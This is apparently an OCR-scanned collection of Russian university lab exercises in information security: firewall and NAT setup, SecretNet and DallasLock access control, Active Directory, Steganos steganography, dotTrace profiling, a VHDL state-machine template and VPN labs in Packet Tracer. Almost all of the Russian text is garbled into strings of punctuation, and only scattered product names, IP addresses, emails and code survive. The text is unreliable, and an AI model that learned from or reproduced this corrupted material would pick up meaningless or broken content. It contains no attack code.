6. ! | # 9 , / # % « 6 -2 »?
0 -23%
+ . , <. : /$
+, % ( + ), * $ R , «t+, % - ! # ,6. %
16pdal6@mail.ru
+ :10.03.01+, % - ! #
, * %% - 3 , % -
! $ ' $ ( =6 (=)
1. :
+ $# - %1 6 , % # # , Ho- P -
*9 « », % 3 % 8 % -
$ %#2 |/ %/ .* | - #/
! ! 6,, % %/ %% / , %% - /
/'$ |/ 3 , % -
2. * ,
# - <& %% - 3 , % - »
l .
2
5 - , - 1 8 (8 ) *9 « »:
5 % 3 % 8 % $ % #2 -
/ % / % 9 « :
5 # # - , - 1 8 (8 ) *9 « »;
5 # 6, 6 %% % 3 8 8 % 9

«
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%

5 , # - % 9 « :
5 %% % % , - # $ % 9 «
5 % 1 1$ / %% - / 3 ,
% - % 9 «
3. - (
! %1 # % , % * #% % #
2 * ) , 2$23% % -+ %% % 9,
(*9 )« » 3.7
5 # ! 6 #/ %' % 18
(. ) % , # ' () < 9 # %
, # ( 9 ), ' (  AP).
5 *9 37< * . % IPC25, *9 379 * . % IPC25,*
% * ok < « » % ' , 2 # / *
4. 2 :
) # , H#o- , 23 /1 . %1 %#2
% 33 % ' %1l %#2 % / / / 9
5" :
*9 « » $ 1 8 (8 ) #
FreeBSD% 1 6 OpenBSD PacketFilter 23/ $
5 3 - # 1 . , 23
. + :
5 $ 3 # % ' ;
5 I $ $ ;
5 - ’ (QOS)!
5 1 ! / (Network Address Translation, NATH % 1
# # # IP- % # # 2
$ + (' $ IP- , 8 % $
%/ 18/ )
1% |, # - , *9 « » 1 % /
3 /3 ,
1 , B - *9 « »
2% % %

43



8 ,H -2 !/ 3 / 3 , , 3 $ 9 , 6 %
, Ho- 1 - |/ 3% ! 3% % , . 8
, - 3 % osl.. - / I $ % -
3#2 | VX , Ho- , % 2 IP- $ ,
P, 8 # /1 , ! .
8 1 /2 (Stateful Packet Inspection, SPI).
8 2% , - SPI 1 / 2 -
y%-2 0 ( : $ , % ) %$ - -
* /1 $ ‘2 8 , 1
% 2 , % - % # I - - -
, % , Ho- .
/ ' # # 8 .* 2% -
, - SPI , Ho- , '23/ /1 , ' %
' ! ) % ! % + ,
' /1 / 3 , % %
! , 8 , $23 1 /
* , '23 /1 / 3 , I SPI,
! , 8 ! . $ I % 2%
, - SPI. ! - 1 % $ .
Il IP- 3 3 % '2 % I -
(% #2 , 23 $23 IP- ) "2 % 9 :
5 ! -/ % , 33 % % 9 ;
5 ! - % , 33%% 21% % ( $% )
9 % ;
5 ! - 2! ! IP- , | 3 33 %/ % .
IP- , | 3 $ 9 , 2 B o- % y .-
% % IP- $ . , % UDP/TCP
% / , K2 1 % ), , - ( 33 % % )
VH - / - 1% Y% $ 2 /1 2! IP-
3 , 6 ' 23% % ,H - .
% % ,Ho- , ! ! -
%
* , Ho- IP- 2 : , ., % % -
% % $ ; , % % . % 3 , %
, Ho- 9 3 - - < 9 .~ 6
112 6 % | # % % % .
* , . % % % % $ , 2 0 < %%
% ;< % % % 1% 1 % 9 ( ), %2-
3% 2 # , 1/ %1 % ; 9
/ #/ % / , Ho- , %
%
* % % , Ho- - % % $ . -
% ! , % %1l % #
% % 1% ! , H#
5 — IP- , 11 / ' , b2 - 6 -
I 1 ) :
5 % — IP- , 11 / ' , # 2 1 ) ,
2 ,H % . 1% $ # 9 6 -
-2 .
6. " :
1. * < I/ % # 1& ARM IP %  10.0.1.200/32, %
« », '2 % 9 < , , % em2
2. I % # , B - % «from AP to ARM», % «2 -
I » $ % «ARM>», % «http», % « # » 2% % %
% « % # " # 11 ».
3. % / I/ % % 1# «/ -
# % » % ! % ! / 23
9 .
4, 1 , - % 9 . 6 < 1
# # $ % ' Alt+F2 | # « , H - ».
5. I/ % ! AP # http://10.0.1.200/test1.txt. -
y ot , %1 $ # 23 13
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10.
11.

12.

+

% 1 % # I - 9 < , 1 «<* % I -
- ».
# ! ! I/ % 2% # , B - * < % -
# % , # «| # % ».
I/ % # 1& WS1 IP % 10.0.2.200/32, % « -
», '2 % «KSH_main» , % em?2.
% 1 # , #o- «from WS1 to ARM» % «WS1», $ %
«ARM», % «http», % « # » 2% % %
2% % % « % # "# Il »,
$ 4 1/ % % # 9 .
I/ % ! WS1 # http://10.0.1.200/test2.txt.
, - , %1 $ # 23 13 .
' I/ % 2% # $ 7.
$ $ / « # » % , H , % -
%% *9 « »?
/ % 1 6 3 , V23 # -
%  VPN?
/ IP- % , % , B - /11 3 , %1 -
6 % % 1% °?
/ 9 —«33% », « », d »— 1 % #
1& 3! # , B - ?
-2%
' , <. : /'$
% + ), *$ . 1 , «t+, % - 1 # »,

16pdal6é@mail.ru

+ : 10.03.01+, % - ! # , % 3 1&
, % - , 1 $ 3 , % -
, Y %% - 3 , % -

+ ( (

1. :

+ 3 ! ! % %% (* )
/ 3 , % - (+) - (0 ) «SecretNet 7.7» — -

% «DallasLock 8.0-C».

2. * ,

5 , - - # | # % / %/ % 3 ;

5 | # I/ % $ # # 3 -
, % - ;

5 # 3 , % - % 23 % #2 % -
-, 1 1 $ # / # % % % %% % -
%% 3 ;

5 # 6,, # , - % %/ 3 , % - ;

0 :

5 # % % ! ;

5 % ! $ % %% % % ,! $% , % ;

5 % / %% / %% - / 3 -
, % - ;

5 % - % %% % 3 , % -
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3. " - (

2l ! 2 - % -
VMware Workstation Player  Oracle VM VirtualBox. I/ % - -
% ( ) Windows 7 SP1 - Professional  Enterprise, 2! / (324 , 644 ),
Windows Server 2008R2, Windows Server 2012R2.
! / ! I/ % %% I $ (* ) «SecretNet
7.7» «DallasLock 8.0-C», 1 % - % * o
4. 2
= 1.* % %% + ) «SecretNet 7.7»
= 2.*% % %% + ) «DallasLock 8.0-C»
5"
1S # % % . = 1
% #2 COMP ( Windows 7 SP1 ' )! 2% % .) %-
#2 # # # # % X ! - -
% %2 % $ 2 .
+ - %/ % % %% % 3 , -
% - Secret Net 7.7:
1. %% # % 1% . 6 ! 6 % "o
# %% /o %%
2., % 2 % # |/ (- % % ) % $ 2
6 ! % 1) % # [ "%
% 1% % %% :
5 % # $ + ]
5 # %S % " # o
5 % "# $ " 1% ! $ .
"% ! 6 % U % ! 2! #
% #2 . 1 % #2 %% % 2
e ! #1 6 % # ' <Ctrl> <Shift>;
5 # %S % e # 6 "
5 % # / 1 , 1& , 1 I # -
% - % " # $ % I
3.)1% "OK". * 1 - 1%
"o $ - , % % /
* o ! % # / # Users | # %%
2% / .
4. # %/ % * 2% % 1% !
%/ % . 6 ! 2 "1&
% #2 1% " % /I " 1% * 2 ™ -
" 1% "
5. %% I % / % / -
% $ % % # % #2 . # #H % /
1 , I/ % # 2 , - # !
6 ' ! # , % $ % % % -
%%
7. 1 # % # / , / ! , ¥ -
% ! # . 6 ! 2 "( " %2 ! %
"( | # [* 1 "ox ! ! -
" 1% % " 1% "OK". "% % b
1 $ $ 1 Secret Net, % %
! (1 % 23 ! # ) 1% "OK".
o, %0 # % 1 .
8. * # $ / /. , 6 $ ' $ -
* #2 '8 %1l # ! # . 6% $
2 12.
9. o, ! % # # . 6 ro-
2 " "% 2" "ol % "# "% -
! * 1% "OK". 23 % % -
, $ 1% "OK". 2% .
6 % 2 ! % "# $ |/ | 3 2 -
3 " "% ! 1& ! 1% "OK".
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10. ' # # % # / $ 1& #
% % . 6 ! 2 "1& " % 2 "1&
"ol % "# " % ! 1& !
$ 2 # # 1% "OK". * 6 %2 ! -
6 % ! % Lo# | 3 23 " "% -
! 1% "OK".
11. - $ 6 6 -
% 2 ! % % 6 " "% 1%
"OK". / % / 1% 1 #
' - $
12. * I % # # 5-11.
13. 2% 1 1% ! %/ % . 6 ! 2 "1&
" % #2 1% "
% " 1% % %%
)$ # % % , = 2
% #2 COMP (  Windows 7 SP1 ' ), 2% % test.local.
WIN2012R2 ( Windows Server 2012 R2) ! #2 % (%
test.local). WIN2008R2 ( Windows 2008 R2), 2$ % test.local) % #2
/ 2 # # # % Cx ! -
- % %2 % $ 2
+ - %/ % % %% % 3 , -
% - DallasLock 8.0-C # % 1% !'$ :
*# # # , 1 # o - (
% , zaps). * % # 23 '
1. YV % # - #2 , % , ZPS, 2% # # zZps
ZPS-gr.
2. ZPS-gr ' #/ / # ( « # -
»@ «( ! # »@ « % " % $ 2 »).
3. «* O " % % 2 » 2% #
4, I % # 1% ! ) ( % 2 -
% 2 « 1% ! » @ « # 1% »).
I/ % 28 #  «% 1% » # 1 # $ # (/ -
# )1 .
5. # % #2 .
*%$ DV % % # % #2 , "# ! -
# % $ - % #2 # !
%/ % ¥ % # ! 1 ,
# * % 1% 6 #  # %1 3 # /
6. 3 # / $ #2 # zps. # 1 -
, % # # % I # (G # $ ' ). % -
#.,9$ / 1 $ % / ) 1 -
1 % 12 % % . I % , # %
12 %$ , - ! .*6 % 1 $ #
1 ! .) 6 %6 1 % ,% -
, , 1 % # 2 !
7. 3 # % # $ #2 % -
! . # I'$ % + ) , # 1 .
8. ) # % # # 1 %  # # —«zps», # -
—«'! »
9. I % # % 1 # « -
, » ( 1# 6 '% # % ! 1
I # % 2).
"% ! $# -
ZPS-gr « # $ » 1# « »* 1 « » % 3
# I # 3 % !
10. 6% $ $2 % ZPS-gr ,
% ! ! % ! $ « » <) », 1
I % I # % ( % , # 3 2 ! %% ), 6 % -
$ 1# « »$! I # % # 3 23 .
11. % ! % , % %% . # I % 2% #
«% 1% » # % zps.8 # # %1 I # # I/ % %
%% %

47



% , # 1 2 -1 -
% # - / , - . 2% * # zps
-1 1 I # # -6 %1 1 # 1 -
% , - 3 % , I % I #
( «* , »@« # $ ») # ( )
6. " (< )
= 1
1. # % #2 COMP + ) «SecretNet 7.7» — % .
2. # * # USER 23 % % $% : Acrobat
Reader, Windows Movie Maker. / $ (% [/,$ 1 c:\windows\) 1
I # 3 . / ( , )01 I # 3 .
= 2
1. . # WIN2008R2 DallasLock.
2. # % %1 2
DallasLock % #2 COMP.
3. # o ! % # % # USER 2%
% 2 ZPS, 23 % % $% : WordPad, Windows Movie Maker.
/ $ (% /.,% 1 c:\windows)) 1 | # 3 . -
/ ( , )01 I # 3 .
7.
= 1
1.* # # % + ) 23/ * # %
USER % % #2 COMP, %1l # # " -
%% %
= 2
1. * # # , % ping win2012r2.test.local ping
win2008r2.test.local % #2 COMP, 1 ping comp.test.local win2008r2.
2. # # + ) % #2 , 1
% |/ ! - % .
3. # # % , 23/ * # -
% USER % % #2 COMP, %1l # # "
%% %
0 -43%
+ , , <. ( «( %.* % », -
$ ) : $ v) ) $ , kib@syktsu.ru
+ : 10.03.01+, % - ! # , % 3 1&
, % - , 1 $ 3 , % -
, Y %% - 3 , % -
5
$
1. :
+$ ! :
5 %$ % # % % % / ! /
5 % % # % % , $ -
% % |/ !
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5 ,% # # ! / - %
1 #1/ $ #/ , / / ;

0 :

5 # % % !

3. " - (

2l ! 2 - % -
VMware Workstation Player  Oracle VM VirtualBox. /' % - -
% ( ) Windows 7 SP1 - Professional Enterprise, 2! / (324 , 644 ),
Windows Server 2012R2 ! .

4. 2

= 1.* %% % Microsoft Active Directory

= 2.% % Microsoft Active Directory
5"

1S # % % , = 1

% #2 COMP ( Windows 7 SP1 ' )! 2% % .
WIN2012 ( Windows 2012 R2) ! #2 % (% testlocal)) %# -
2 2 # # # % ¥ !
- % %2 % $ 2
. % - % % :
* 1% 2 % # ! , - 3 23/
$ # $ / .8 % # # /$ % Biba
Bell-LaPadula, % % , % %
% (2 # $/ # , 23/ % %
% ). $ % % $
1 2 $ % % % I %1 #
| -
# 0. % - % % # -
%, % % % % Active Directory.
# 1 % - % % #
% # % % .
# 2. % 1$/ - - % % -
# # % % .
# 3. # - # % #
% % .
/ -/ % I # # % -
-, $ $ %1 # o# 6 % # .
% # $ 3 ' %' % ,
- # 23% $1 % . 23% % .
% ( , % , , 18 - , & Active
Directory 1 ) - 2 # 1 ' -
%' % , - $'% $1% $ % %
., % ! ! # % # % / /[, 1 -
% # # $ % 1 . $ , % -
% /3 # , 1 # # $ / , 1 - #
.8 & 1 1 % # .
$ % 1 # # % ! -
$ % , $ $ % (ACL),
1 # $ / . 3$ % % 23 % %
! , 1 I # ' / % #2 ! ,
/ 6 %#2 # # $ $ %
# . +% 2 2% 2%
'$ , # 23/ RDP $ % % % 1% % ,
% # # ! $ / I
$ % % # % !
I % , # % , , 123 ! %
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23 $ / I ) % , % % % ( # 0
%1 # & % $ Active Directory % ( # 1S
Active Directory % ( # 0.
1 . 13 $ % #2 , %l 14# #
$ % #2 . 1 $
% #2 #/ , $ % #2 1 % -
3 # % ! 1 I # # $ -
% 3 1 .
$ # , 1l 1 . % 2
% /' Windows Server Active Directory,$ # ‘2
! - .8 $ - #2 %" , # $
/ %' '$ $ 2% # % %
1 % % .
/ / 1/ % % ! % ,$ $ /
2 , 3 % % % % $ /
. 1 . % % # 6 I # $
2 - 9 % - 12 ! 1 %
! / % , ! I $ |/ # %#H2 -
6% % % % $# % % 1 % 12 ' 6/ , 6 %
% 1/ P $/ -
%$ %3 %' -
1S # % % , = 2
% #2 COMP ( Windows 7 SP1 ' )! 2% % .
WIN2012 ( Windows 2012 R2) ! #2 % (% testlocal)) % # -
2 2 # # # % X !
- % %2 % $ 2 .
. % % 3#2 $
1.)YY % # # # % 6 $
3 IPAM. # IPAM-
2. ! - 3 ). 4 1 ! - 3
3. A %' . % 1% I # # # -
4. . % . / # # -
% % # % DNS SRV, % 1 # % IPAMSrv.
) - , 2 ! # .
5. « % DNS- », % -
SRV.
6. . ! - SRV, % 1%
7. IPAM- ! # 2 # $ * % -
! 112 % -
8. $ 3 IPAM. #
IPAM-
9. ! - 3 « # », 1 ! - 3
%' « », % 1% «! # ».
10. ) 1% «! # » % / # -
, 1% I #
11. ! # , ) 1% -
1 .
12. . 1 * 1 . % /
$ # # , ! 1 1% 1
13. # / # I % # % -
% $ % 1 3 # % %% 2 ( % , -
/ ). . # # 2 % 2% 232
% 2 . 232
14. ! # . % % I %/ 1& -
' % $ # . ! #
) 1% «  »,
15. ' # % # . % # # -
1 $ 2 # # , % % . % , 1%

« »,
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wn e

wh e

16. | #
17. )1%
2 .
18. )1% !

19. . # | !
%

% #2
#
%1 #
% COMP
6 %
#

% #2
#

*

%1 #

#2

*

COMP.
) # % #
\\win2012.test.local\.
* # $
! %

#, % 1%

1

#

%

IPAM !

(<

% .
USER1 USER2 ( 2%
# %
% 2%
$#
/
%

#
%
#

).

% .
USER1 USER2 ( 2%
, /
#
1% % ,
#

$

23

I
23

%/
$ %

% %

# -
1 , / -
# ) $ =
# *H# % ).
# % -
2 % 2
%
% #2 COMP #
( # / %
# *H % ).
) 1 % I #
3 ) $
1 ! -
%
ping win2012.test.local % -
% % % # -
( % , %1l # -
- 2 % ! 2% -
ping win2012.test.local % -
% #2 COMP
% % /
% .* I % -
% % ,
«( %.* % », -
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+ : 10.03.01+, % - ! # , -
3 , % -
, %% - 3 , % -
$ (
1. :
+$ % % , $ I, %
%% % % Steganos.
2. * ,
# % ! %%  Steganos.
3. - (
: #/ % #2
2% % + , %%  Steganos Privacy Suit.
4. 2 :
+ # $ (, , 11 , ,
I3 $ . # %% # 11
$ !
5
, -6 % - %1 ! % ,
! % $ $ , , # $ w1
% 13 ", % % ,% ,
# 13 Il  $ ! % 1 ! #
/ .
13 % % , $ # 1 #
% , $ 13 . 6 13 , % 1, ', ,
, # # 3
* % I3 / oy / ,
- , 2 % .

"% ' # # % % $ $ ;
1$/ / 13 %3 ! / $
% 3 $ #/ $ / vy L8
/ ' ' % v # / % , % '

% (% % % |/ . "% -6 1 %
, % - $ % % % %1 # o % ,$
% 1 %, 3 1883 /. %,$ % 3 , % -
I'$ # - 1 , %
, - . # % 3 %/
# ( ) % %1 % , % , % - L) %
6 - 11! 100 , $ $2 ! , 123 %.
% % # # |/ -/ $ # /
$ % #2 , *# % !
.13 2 # -, , , %23 2
$# , 11 , .+ 1 1 2 , % -
, % , %%
3 2 / % #2 , :
Il % $ 13 % I #
, , / 8 % $ %
# #2 / $1 , % - #' 3/
! , , $ -, Il .8
# -, , 1 # $
, 3 % @ % #
I % 3 ! , % -2 , 2 -, %
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<, ; 2% ! 23

5 , % - - #2 $
5 -, ! / (< ) (watermarking;
5 , - % (fingerprinting);
5 (captioning.
* % 1 $ # 23 i
5 % K % / -
, % - , -#% ,
2%, % 3#2 # 1 # %1 # , 1
13 ;
5 % - ! % , 3 13 , 6 1
# %  $# 13 / , A ;
5 - # 1 L# /[ -1 1$ 1/ / % 3 -
1 / 13
% % ! -6 ,
- , 1 I # # $ % -
$2 / ,
* ! 232 # # ! -
3 #% % '! % $ o
% $ 13 . I # % %l '# -
# 13 F %1 % % I % 2 % -
$ # % % % %1 $ % -
# 2% 3 /- , $ - #
, % / . 8 -
3 # 1 / % # % % % ' % . %1 '# | -
%, $ % % ! % 13 , -
# % $ , - 8 I # / ,
) %1 # - , -, 23 , -
%1 1 # ) 1 $3 2 -
$ % %
13 %1 # %3 2% # -
/.25 - $ # # (** )! 1 % % , 23 %
% I % (¢ $ ) , 1% %
% # - % ,- %/ $ $ -
%1 % $ . % , % -
2% % $ , 1 / 3 % 1 % .8 I
12 # . % 1 , 3 % 1 % %1 % # 1 -
, 3 % % $ - , %1
, $ 13 .
9 2% 2% . 3 % 1 %% / -
, 23/ , $ , % - . [ - , %  Steganos.
%% 2 , %-2 .
$ % #O# : 11 (*.bmp), , (*wav), -
, (*.txt).
* 1 23 % :
1 # / (Steganos Explorer).
2 # % (Password Management).
3 # % % (Steganos Safe).
4 # | , (Steganos Shredder).
5 # $ 8 (Steganos SysLock).
6 # 3 / $ % (Zero Emission Pad).
) $ % /I - # # 2 , -
, % - ' $ / HH# %1 ! # % , ,
, 2 % % (Security Space) 2
# , / 2 # . % % l# I o-
1 , , .3 $ 1& % % / / -
5-10% ( % , ).
) $ % % - / %
% . % 6 , 6/ / % # # %% 33 / -
($ ), , # , % %! #/ , , , - -
# , % - , # % , % - %1 #
$ 2 ) $ % % % - # # ,
% 33 %
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FAT- ! - (!- 1 , % - ), 23 % % [/ -
)% % $ 8 -3 # % % #2 -
) $ % 3 / $ % - # / - -
% % $ , % % % % %1 # , -
% -2
6. " (< )
1. % $ % % % $ % 6 $! .
1.1 # 6 2 ! 2 % # «3 , - # , % - % %
, » % # 1 % $ ! .
1.2. ! % « , » % # - % %
, $ , % - /. # % % -
% # % % - % , , # 23 !
%l , % ! % 1 % . # I # - % -
I % :
1.3. # %% 23 % ! %l , % ,%l1 %
- . $ L # («Grygory_Adamov.txt»).
1.4. % % # 1& % , % - %1 # . # -
1 I % ?
15 ) # notepad # 1%
I % :
16.+$ # $ , % % 3 % . %1
# $ % 2
1.7. + $# 13
2. .1 %% % % Steganos Il. # STEGANOS EXPLORER
2.1. # STEGANOS ! # % Steganos Explorer.
22.* % o - 1% , 1 -1 # . $ -
'$ - ! ! . 1 Hide Encrypt
(I % # ).
2.3. $ # 1 . .bmp (1 View carrier file).
24. 3 # ! , lha.exe $ # $ -
, $ # I % #
2.5. # 1 % % % / .
26.* # % , % . % $ -
?
2.7. Security Space! # 1% unhide-decrypt  $# / .
28.)! # % , # # % LFO# %
# 2 $ X $ % $#
3. # Password Management
3.1 # % # Password Management. $ , # 3 23/ .
3.2. $2 2 , %-2 - , 2%$23 # #
: ( '$ ), , %-2 # -
, % : : o # ! % | -
% #2 %
33.+% # 1 , , ! # . #
% ?
3.4. # # % # 2 %
4. # Steganos Safe
4.1. # # .
4.2. # # , '$ .
43. % # # $ - % % , %% 2% -
2%
5. %
5.1 + # LHA.EXE, $ % Steganos Shreder.
5.2. # # Steganos Syslock. 2$ # 2% # 8 %
% .
5.3. # % # Zero Emission Pad, # , '$ % #
# ! %%
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aprwdEN

o

)]

S N o]

. % 2
L) $%
$% 2%
*$
- -2
# /%
!%-
<%
+$# -
I #
% -
*
#
/
1
33
%- ;,%
% , 1
/
%.
% , %
!%-
!%-
$ #/
$ - «*
2
*
#
*
).
, % #
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?
! 3/ % ?
$ %1 , , ?
$ |/ .
% 1 # I # $ , % - ! 11 % ,
3 11 ?
% 1 # I # $ , % - ! 11 % ,
2 , 2 CD-% % 1
-2%
, , <. 2 ( « - #
», I # ] ’ % - '
; , lina.kh.safiullina@mail.ru
: 10.03.01+, % - ! # , - /
%% - 3 , % -
n $
16
! % 1 33 ;
! % 33 $ % ,
%
- ! DO H# # %
/ % % , % - ! ;
! % #2 ! , ! -
% #2 % ; # # % % % % 3 ,
# # ! / -
#/ $ #/ , / / N # %
"% ! # % $/ %% /
3 ;
, 1 - # ' / $
% % ( , - , $ % J)
#2 ; % - % % 3
- % 11 . % -
- (
: ! % # /
! Oracle VM VirtualBox, 23 % % #2 % #
/ , | 33 « - o»(
«8' », ).
% 3#2 M- « - » * - ),
2 - %
% 3#2 -, - (, * %
$ # % %



o1 o

o1 o1 o1 O

&)

&)

&)

!%-
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! , %- |/
% - # 2 % 1 # #
, % -
! % % 1 $#
# % % % $
1$/ -/ !, 1
# 2 ..
% « 33 «
, - /
, $ , % -
« - » 23 , -
# # , - / 3
1 $ % , -
, % - ! ;
'3 ! 1 %
# % ;
oo - % ;
I $ - 6,, %/ %
, % - / , % - ;
% % "0/ « - » %
1. * $ % ! # # %"’
2% .
2 # :
M-, - 1% «*
23 ! $ 6 1
«* » 1% «) »:
« ! » «+%
1$2 # % $
1+, #
3. * /
'$ ! , «* - »,
1% «) »;
1 % , U %
192.168.1.0/24;
1% « # »;
% - % 1
1 # $

%/
' %

% %

» $

!%- ;
%

1% «

%

%

%



%
! :
»)
I/ %
»;
# », ¥
, 123
%1
* %
111 /
.3
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% »,

%

1%

% :
% 3$ 2 ;
— 15-20%

« %



o

PoNPEN

)
)Y %
YU %

» ("(

$1

%

«

%

#

!%-

%
-2%

<. :n
«
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% »
$
% »;
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: 10.05.01 % #2 ! # , ! 33 -
%% 1 $
%% / -
"$ 7 dotTrace Performance
+$ $ /1 / %% / %$ -
*
- % e, # ; % 3 % ! % #2 -
/ %/ ;
# 1 % # $ / %$ / -
I % % # 5 3 ;
% # % $ % $ I %/
1
- % Microsoft Windows 3 . % / Microsoft
DreamSpark Premium. . !'$ : % Microsoft. 1%

https://e5.onthehub. com/WebStore/ProductsByMaijelLlst aspx?cmi_mnuMain=bdba23cf-e05e- e011-
971f-0030487d8897&ws=58727022-4bac-e211-88b7-f03edZf4&vsro=8

, M|crosoft Office (Word, Excel, Power Point)3 . %/ - -
OVS-ES. . !'$ : % Microsoft. .1% :
https://products.office.com/en/home
! Microsoft VisualStudio 3 . % |/ Microsoft
DreamSpark Premium. . !'$ : % Microsoft. 1%

https://e5.onthehub.com/WebStore/ProductsByMajosMetist.aspx?cmi_mnuMain=bdba23cfe05e- eOll-
971f-0030487d8897&ws=58727022-4bac-e211-88b7-f03eaZf4&vsro=8

% JetBrainsdotPeek 3 . ! - -
.18 : % JetBrains. 1% :
https://www.jetbrains. com/decompller/download/
)! % WmdowsSysmternaIsSwte 3 !
I'$ © % Microsoft.. 1 % : https://docs.microsoft. com/enus/sysmternals/
, WireShark 3 ! - GPLv2.
I'$ : The Wireshark team.1 % : https://www.wireshark.org/
HTTP- Fiddler 3 . ! - -
' N D% Progress Software Corporation.1 % :
ps://www.telerik.com/download/fiddler-wizard
- ( :
- / , 3/ %H#2 Y% % # % -
! % R - 1& # 2 # -
2% % + So- / , 3/ % # % %
% 6 % .:! / %#2 | /o, /
- % ! - % IntelCore 2 Duo; %% % Samsung 793 DF.
n (<
I % # dotTrace Performance, %1 #
Visual Studio ( % 2 DOTTRACE -> Profile startup application... ,
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3 FOTTRACE -> Profile application... , %%

23 - ), $ # 1 $ % 2.
2. * # - %, 1 % !
|
3. 1-7 2 % - %% %
dotTrace Performance — RayTraceDemo.exe (3 $ ), ! #
$ % «C:\Program Files (x86)\JetBrains\dotTrace\v5.56\Bemo\RayTraceDemo.exe» (1
1 / ), 1 $ dotTrace Performance, -

Home,! # Profile Demo Application.

5.2
2 1 ,
dotTrace Performancg % 2. % Home 1%
Profile ! Standalone application (# 1 ). "%
% 3#2 «.» Application 1 # % - %%
RayTraceDemo.exe.1% , | 32 ! Application options
' ! , 1 Profile child processes. 23 % Profiling
type 1 “Line-by-line” ( $ ), Measure% ) 1 Wall
time (CPU mstructlon) ) % % 3#2 - - ). , -
1 Start profiling immediately @6 # , ), % , -
, 1 Run.
L1 ,
# % , 3 % 1
RayTraceDemo.exe, "% % , 1 Anti alias ( 1 )
1% “Run”, # ! 3 3 $
1% 2 - .
1 1 # ' ! 3 # %% % 3#2
«» 1 %1 $# , # 6' (! # , )
1 "% , 3 Get Snapshot. 1 %1 # , -
. $ # - Drop Snapshot (% %1 ! -
#) Y # - $# , - Kill Process.
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. 3. 3 $
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G -1 - / 2 L #2
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% ! %%
) % % — Main thread, 1
6' — Snapshot;
— Application;
— Environment.
(Threads Tree)
Thread Tree $ # , -
6 , 1
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/ $ , -2 %1 #
%% 1 , - %
%/ , - ), - %
i /
, %1 % # %
Show IL code).
% ! % % % !
I $ % %/
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$# % , $ -
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# %% y -
%% .* $ y -
# # %%

*

y T ( $’%

% / i)

% 3#2
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(Call Tree)
Call Tree $ 3 $
, $ % 2 , - Main,
Dispatch  $ , #
% ( %% .NET) 2
1 - , 2 2 %% %
#1 %1/ ) , -
- /
$ $ $
3 I % , - ! 1/
# $ % , H # y oo , 3
’ - ! ’ ! #
1 % % 3#2 $ .
%% .8 . ! % %
5 | % )
%% , % % $ .
$ % $ %%
-4%
, , <. 2 ( « |
| * ) ., irina.vlatskaya@yandex.ru
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, : %

+ : 10.05.01 % #2 ! #
, - %
" H $
1. :
+3$# % / ', , 6 % $ -
/ % , %$ ! , 1 % 1 VHDL -
-, % ;S # -, % I #
% *, WebPack ISE.
2. * ,
5 % # ' , #/ $ % % ;
5 $ # % - , % $ # / , %#2 |/
/ , # # ;
0 :
5 # % %% , % #/ ' $ -
/ , #/ ,
5 #/ / $
5 % # % , 2 - % / -
%%/ % |/
3. - ( :
*. Xilinx ISE WebPACK, $ Nexys 2
4, 2 :
+ # *, Xilinx ISE WebPACK, % ', $/
I/ (One-Hot, Gray, Johnson, Sequential) # ! 2 ,
% , % % 3 # - #2 % # !
5.
1L $% % % (S, XYl ,J), S- %
% 1 X Y- % / / , (
X=Y), 1:S X@S j:S X@Y -, - / /
2. % # % , 2! % 1%
2! . s 1% S, 3 /
( # # ! / , ), % s s
3. % % , % % 6 /
sS ¢S % A 2 6 % , 2% | %
- ( # ! / , ) % A 6 / S
S 2
4. % ' % % , %% / -
$ %% / % A % , %$ |/ xly , %%
yIX.
5.* # % ', 23% , , -
/ % , % 2% % $ 1 -
X Y
6. % ", % # # # % E D, E
# ', 23 % (% -, ), D- % ! E(% -°, )
* $ % ! % E D 1 | # $# ,
% (2%% ) % ", % ! 23 % % .
1 LY OH % % 28 G # |/ - % E
# / F. % D /! 2 -2 a $ / G
/ -, % # # 1
'l VHDL- , 1 *, WebPack ISE, ! / - SYNC_PROC, OUT-
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PUT_DECODE, NEXT_STATE_DECODE, 2 % # /

% i / / % . "l
% # %% -, % , %
' $ % # $ % /
WebPack ISE % $ $ % $ !
I # ! (One-Hot, Gray, Johnson, Sequential).

-- This is a sample state-machine using enumetgpes.

-- This will allow the synthesis tool to select ugpropriate
-- encoding style and will make the code more rbkda

-- Insert the following in the architecture befthe begin

-- keyword. Use descriptive names for the statkes,dt1_reset, st2_search
type state_type is (stl_<name_state>, st2_<naate>st..);
signal state, next_state : state_type;

-- Declare internal signals for all outputs of giate-machine
signal <output>_i : std_logic; -- example outpynsil
--other outputs

-- Insert the following in the architecture aftbetbegin keyword
SYNC_PROC: process (<clock>)

begin

if (<clock>'event and <clock> ='1") then

if (<reset> ='1") then

state <= st1l_<name_state>;

<output> <="0"

else

state <= next_state;

<output> <= <output>_i;

-- assign other outputs to internal signals

end if;

end if;

end process;

-- MEALY State-Machine — Outputs based on stateiapdts
OUTPUT_DECODE: process (state, <inputl>, <input2¥,
begin

--insert statements to decode internal outputagggn
--below is simple example

if (state = st3_<name> and <inputl> ='1") then
<output>_i <="1";

else

<output>_i <="'0";

end if;

end process;

NEXT_STATE_DECODE: process (state, <inputl>, <i@put..)
begin

--declare default state for next_state to avdichles
next_state <= state;

--default is to stay in current state

--insert statements to decode next_state

--below is a simple example

case (state) is

when stl_<name> =>

if <input_1>="1"then

next_state <= st2_<name>;

end if;

when st2_<name> =>

if <input_2>="1"then

next_state <= st3_<name>;

end if;

when st3_<name> =>

next_state <= stl_<name>;

when others =>

next_state <= stl_<name>;

end case;

end process;
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% ', % VHDL,
% ', % , H
, *, WebPack ISE.
*+ ., # $2
| |
/.
# %% -, %
-3%
L] [ < . : ) = #
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, 12 6 (
+ :10.05.01 % #2 ! #
, 3 % #2 |/
! 3 (
1. :
+$ % 3 $ / ( / -
#1 $ |/
2. * ,
5 # %1 / - % 3 (
5 % # #( / #/ $ /
5 # % ! % ! %
3. " - (
*  Cisco Packet Tracer v7.0.
4. 2 :
I $# $ 2 3 2% , % - #%
, % % % $ / , 1 3 2 3 -
$ ( + % : I'$ 3
2% $  ( + # # %' % IP- , -
% . < % I $# % #
Radius 1!
5"
* - 1% $ , % - ( . % -
' , $ / , 1 % %1 # 1# , % -
-2, % 2 %l | % % # : ). 3 , % - -
% 2 $ - ! , 123 % ( # -
1y | % ISO/OSI.) 1 $ # ! / -
! . , # % 12 PPTP, L2TP, L2F, %
12 IPv6 IPSec, % - SSL/TLS % — SSH,
PGP, SIMIME. 1% 23 , % - % / #/ % % 2
Kerberos, % ' !/ ( # 2 , 1% % 2% PKL* -
% % 6 ,# $ / 2% 2 ! %1 # -
, - 1 , $%! , % - .
! 3 %/ / I/ %% % %1l -
% % ' . 33 1% % %1 % 1 %
, %1 ! % #2 , % % -
